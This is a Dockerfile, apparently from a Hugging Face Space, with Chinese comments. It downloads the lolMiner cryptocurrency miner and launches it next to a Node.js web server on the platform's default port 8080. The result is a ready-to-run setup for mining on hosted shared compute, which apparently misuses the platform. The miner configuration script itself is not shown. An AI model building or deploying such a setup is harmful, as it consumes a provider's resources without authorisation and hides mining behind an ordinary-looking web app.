wa-kuang-test / Dockerfile
chb2024's picture
Update Dockerfile
2b8c943 verified
raw
history blame contribute delete
952 Bytes
FROM ubuntu:20.04
ENV DEBIAN_FRONTEND=noninteractive
ENV TERM=xterm
# 安装必要的依赖,并设置时区为上海
RUN apt-get update && \
apt-get install -y tzdata wget tar nodejs npm && \
ln -fs /usr/share/zoneinfo/Asia/Shanghai /etc/localtime && \
dpkg-reconfigure --frontend noninteractive tzdata
# 下载最新版本的lolMiner
RUN wget https://github.com/Lolliedieb/lolMiner-releases/releases/download/1.94a/lolMiner_v1.94a_Lin64.tar.gz -O lolMiner.tar.gz \
&& tar -xvf lolMiner.tar.gz \
&& mv 1.94a/lolMiner /usr/local/bin/lolMiner \
&& rm -rf 1.94a lolMiner.tar.gz
# 复制配置文件和Node.js应用
COPY miner-config.sh /app/miner-config.sh
COPY index.js /app/index.js
WORKDIR /app
# 安装Node.js应用的依赖
RUN npm install
# 暴露Hugging Face默认端口
EXPOSE 8080
# 运行Node.js服务器和lolMiner,直接将输出重定向到控制台
CMD ["sh", "-c", "node index.js & bash miner-config.sh"]